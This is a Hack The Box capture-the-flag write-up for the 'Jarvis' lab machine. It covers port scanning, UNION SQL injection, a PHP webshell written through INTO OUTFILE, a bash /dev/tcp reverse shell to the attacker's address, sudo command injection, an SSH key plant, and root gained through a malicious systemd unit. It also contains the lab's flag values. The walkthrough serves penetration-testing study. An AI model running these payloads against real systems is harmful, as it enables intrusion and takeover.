Skip to content

Jarvis — HTB Writeup

  • IP: 10.129.10.160 (rotated to 10.129.229.137 on later sessions)
  • OS: Linux (Debian 9 "stretch")
  • Difficulty: Medium
  • Date started: 2026-06-06
  • Date rooted: 2026-06-20
  • Flags: User ✓ | Root ✓
  • user.txt: e9d237221e586eb5218da98fc80fcf55
  • root.txt: 3a72bb5d8b34634df1167e828c9aa750

TL;DR: SQLi (room.php?cod) → UNION dump → MySQL FILE priv → INTO OUTFILE PHP webshell (www-data) → reverse shell upgrade → sudo -u pepper simpler.py -p command injection → pepper SSH → pepper sudo systemctl malicious unit → SUID bash → root.


Stage 1 — Enumeration

1.1 Full TCP port scan

nmap -p- --min-rate 3000 -Pn -oA nmap/jarvisNmapOpenPorts $IP

Flags/Notes: - -p- — scan all 65,535 TCP ports (not just the default top 1000), so nothing high/unusual gets missed. - --min-rate 3000 — push at least 3000 packets/sec; speeds up the full sweep (finished in ~14s). - -Pn — skip host discovery (ping); treat the host as up. HTB boxes often drop ICMP, so -Pn avoids a false "host down." - -oA nmap/jarvisNmapOpenPorts — write all three output formats (.nmap, .gnmap, .xml) with that basename.

Key Output:

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Decision: Three open ports. SSH (22) is rarely the way in without creds. Two HTTP-ish services (80 and the unusual high port 64999) → web is the primary attack surface. Pulled the open-port list into a $ports var to feed the targeted scan:

ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/jarvisNmapOpenPorts.nmap | cut -d/ -f1 | paste -sd,)

1.2 Service / version + default scripts

nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/jarvisNmapServicesVersions.txt $IP

Flags/Notes: - -p$ports — only the ports found open above (22,80,64999); no wasted time. - -sS — SYN ("half-open") scan; fast, default for privileged scans. - -sC — run the default NSE script set (banner grabbing, common checks). - -sV — service/version detection. - -oN — normal human-readable output to the named file.

Key Output:

22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Stark Hotel
|_http-cookie-flags: PHPSESSID: httponly flag not set
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).

Analysis: - OpenSSH 7.4p1 / Apache 2.4.25 / Debian 9 ("stretch") — old stack, fits a Medium box. No obvious version-based RCE on these. - Port 80 — "Stark Hotel" — a PHP app (PHPSESSID cookie present). The httponly flag not being set is a minor finding, but the bigger signal is PHP + dynamic site = likely SQLi / parameter injection surface. This is our main path. - Port 64999 — another Apache instance, no title. Worth a manual look (curl), but lower priority than the hotel site. - Theme is Iron Man / Stark — flavor, not a hint yet.

1.3 Hostname / DNS check

dig @10.129.10.160
nslookup $IP
dig -x $IP

Notes: Checked whether the box advertises a hostname (for vhost routing) and whether reverse DNS resolves. (Pending: record result — did a jarvis.htb style name surface, or is the app served directly on the IP?)


Attack Surface Summary

Port Service Version Priority Why
22 SSH OpenSSH 7.4p1 Low No creds yet; not an entry without them
80 HTTP Apache 2.4.25 — "Stark Hotel" (PHP) High Dynamic PHP app → SQLi/param injection likely
64999 HTTP Apache 2.4.25 — no title Medium Second web service, unexamined

1.4 Port 64999 — the WAF

curl -i http://$IP:64999/

Key Output: the second Apache serves an IronWAF 2.0.3 ban/notice page. searchsploit ironwaf returned nothing. This port is a rabbit hole on Jarvis — note it and move on. The real path is the SQLi on :80.


Stage 2 — Foothold: SQL Injection on room.php

2.1 Finding the injectable parameter

The Stark Hotel app links rooms via room.php?cod=N. A numeric parameter feeding a PHP/MySQL lookup is the #1 SQLi candidate.

curl -s "http://$IP/room.php?cod=1"   -o /dev/null -w "%{http_code} %{size_download}\n"   # baseline
curl -s "http://$IP/room.php?cod=1'"  -o /dev/null -w "%{http_code} %{size_download}\n"   # break the query

Flags/Notes: - -o /dev/null -w "%{size_download}" — discard body, print response size. A size diff between true/false conditions is the boolean-SQLi oracle.

2.2 Column count + reflected positions

http://$IP/room.php?cod=7 UNION ALL SELECT 1,'col2',1337,VERSION(),user(),6,7-- -
  • 7 columns. Reflected output positions: 2 (room title), 3 (price), 4, 5.
  • VERSION() → 10.1.48-MariaDB-0+deb9u2
  • user() → DBadmin@localhost ← privileged-sounding MySQL account.

Notes: - Use an invalid cod (e.g. cod=0) so only the injected UNION row returns — cleaner reads. - -- - MySQL comment (trailing space required).

2.3 Schema enumeration with group_concat

# all databases
...UNION ALL SELECT 1,(SELECT group_concat(schema_name SEPARATOR ', ') FROM information_schema.schemata),1337,4,5,6,7-- -
# tables across all schemas (database.table pairs via 0x2e = '.')
...UNION ALL SELECT 1,(SELECT group_concat(table_schema,0x2e,table_name SEPARATOR '<br>') FROM information_schema.tables WHERE table_schema!='information_schema'),1337,4,5,6,7-- -
  • The app schema holds a single table: room — no app users table. (Dead end: dumping app creds is NOT the path.)
  • Key pivot: instead of mining data, check what the DB user can do.

2.4 Confirming FILE privilege — the real lever

...UNION ALL SELECT 1,(SELECT group_concat(grantee,0x3a,privilege_type) FROM information_schema.user_privileges),1337,4,5,6,7-- -

Key Output: 'DBadmin'@'localhost':FILE

FILE = read and write files on disk via SQL. This converts SQLi → RCE.


Stage 3 — SQLi → RCE: INTO OUTFILE webshell

3.1 Hex-encode the payload (avoids quote/URL escaping hell)

echo -n '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' | xxd -p | tr -d '\n'

3.2 Write the webshell with unhex() + INTO OUTFILE

http://$IP/room.php?cod=0 UNION ALL SELECT 1,unhex('3c3f...3f3e'),3,4,5,6,7 INTO OUTFILE '/var/www/html/yourmom.php'-- -

Flags/Notes: - unhex('...') (or 0x...) — MySQL accepts a hex literal anywhere a string goes; no nested quotes needed. - INTO OUTFILE '/var/www/html/...' — /var/www/html is the Debian/Apache docroot, writable by mysql here. File gets tab-separated junk around the PHP — harmless. - Page renders blank (OUTFILE returns no rows). Success = the file existing, not the response.

3.3 Trigger RCE

curl "http://$IP/yourmom.php?cmd=id"   # uid=33(www-data)

$_REQUEST means the shell works via GET or POST.


Stage 4 — www-data → pepper: simpler.py command injection

4.1 Enumerate sudo rights as www-data

curl "http://$IP/yourmom.php?cmd=sudo -l"

Key Output:

(pepper) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data can run simpler.py as pepper with no password.

4.1b Upgrade the webshell → interactive reverse shell

The ?cmd= webshell is stateless (one command per request) — no good for an interactive prompt like simpler.py's "Enter an IP:". Upgrade to a real shell first.

Attacker — start listener:

rlwrap nc -lnvp 42069

Trigger from the webshell (browser address bar / curl) — bash -c wrapped, URL-encoded:

curl "http://$IP/yourmom.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.175/42069 0>&1'"

Flags/Notes: - bash -c '...' — system() in the webshell runs via sh/dash, which has no /dev/tcp. Wrapping in bash -c forces bash so the /dev/tcp redirect works. - 10.10.14.175 = attacker tun0 IP (NOT the 10.129 target subnet). Getting this wrong is why the first attempts logged Connection refused. - rlwrap — gives the caught shell history/arrow-key editing (handy for the interactive simpler.py prompt).

Key Output (listener):

connect to [10.10.14.175] from (UNKNOWN) [10.129.229.137] 43514
www-data@jarvis:/$

Lesson: the browser address bar isn't logged by tmux — this whole step was missing from the notes on first pass. When a step happens outside the terminal (browser, Burp, GUI), jot it manually or it vanishes from the record.

4.2 The vulnerable code path (-p ping option)

(run from the interactive www-data reverse shell above, not the ?cmd= webshell)

simpler.py -p prompts Enter an IP: and builds a shell command from the input. Input is passed to os.system("ping -c 1 " + ...)-style — a classic command injection. The script tries to blacklist some chars but misses command substitution.

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
# Enter an IP: $(bash)

$(bash) spawns an interactive shell as pepper.

Note (lesson): reverse-shell payloads (bash -i >& /dev/tcp/IP/PORT 0>&1) returned Connection refused — the listener IP/port wasn't reachable at the time. Pivoted to a local interactive shell via $(bash) instead, which sidesteps callback issues entirely.

4.3 Stable access via SSH key

As pepper (via $(bash)), generated a keypair, appended the pubkey to authorized_keys, and read out the private key:

# inside the pepper shell
ssh-keygen -f /home/pepper/.ssh/id_rsa   # (followed prompts)
cat /home/pepper/.ssh/id_rsa.pub >> /home/pepper/.ssh/authorized_keys
cat /home/pepper/.ssh/id_rsa             # copy this out

On attacker box:

chmod 600 pepper.key
ssh -i pepper.key pepper@$IP

user.txt: e9d237221e586eb5218da98fc80fcf55


Stage 5 — pepper → root: sudo systemctl malicious unit

5.1 pepper's sudo rights

sudo -l    # (root) NOPASSWD: /bin/systemctl

pepper can run /bin/systemctl as root → we can install and start an arbitrary systemd service that runs as root.

5.2 Craft a malicious unit

~/yourMom.service:

[Unit]
Description=root

[Service]
Type=simple
ExecStart=/usr/bin/chmod u+s /bin/bash

[Install]
WantedBy=multi-user.target

Critical detail: ExecStart must use an absolute path (/usr/bin/chmod, not chmod) — systemd errored with "Executable path is not absolute" on the first attempt.

5.3 Install, enable, start → SUID bash

sudo /bin/systemctl enable /home/pepper/yourMom.service   # creates symlinks into /etc/systemd/system
sudo /bin/systemctl start yourMom.service                 # runs ExecStart as root
/bin/bash -p                                              # SUID bash → euid root

chmod u+s /bin/bash runs as root → /bin/bash -p keeps the elevated euid → bash-4.4#.

root.txt: 3a72bb5d8b34634df1167e828c9aa750


Attack Surface Summary

Port Service Version Role in chain
22 SSH OpenSSH 7.4p1 Stable pepper access after key plant
80 HTTP Apache 2.4.25 — "Stark Hotel" (PHP) SQLi → RCE foothold
64999 HTTP Apache 2.4.25 — IronWAF 2.0.3 Rabbit hole

Lessons Learned

  • Two HTTP services on a box = compare them; the "boring/no-title" port (here IronWAF on 64999) can be a rabbit hole — don't over-invest before testing the obvious app.
  • A numeric ?cod=/?id= parameter on PHP+MySQL is the #1 SQLi candidate — quote-test before anything fancy; curl -w "%{size_download}" is a poor-man's boolean oracle.
  • group_concat() collapses many rows into one reflected field — the core trick for fast manual UNION enumeration.
  • A blank UNION result usually means the subquery matched zero rows (wrong table/column name), not that injection broke. Derive names from the prior enum step; never guess (table_name='users' failed because the only table was room).
  • Once the app schema has no creds, pivot from data to capability: check information_schema.user_privileges for FILE → LOAD_FILE (read) + INTO OUTFILE (write webshell) = SQLi-to-RCE.
  • Hex-encode (unhex() / 0x...) any payload with quotes for INTO OUTFILE — kills nested-quote and URL-escaping problems.
  • After a webshell, the first three commands are id, sudo -l, cat /etc/passwd — they decide the whole privesc route.
  • When a reverse shell won't connect, a local $(bash) off a command-injection often works just as well for an interactive shell; then plant an SSH key for stability.
  • sudo systemctl (or any service-manager run as root) = trivial root: write a unit with ExecStart=/usr/bin/chmod u+s /bin/bash, enable+start, then bash -p. ExecStart must be an absolute path.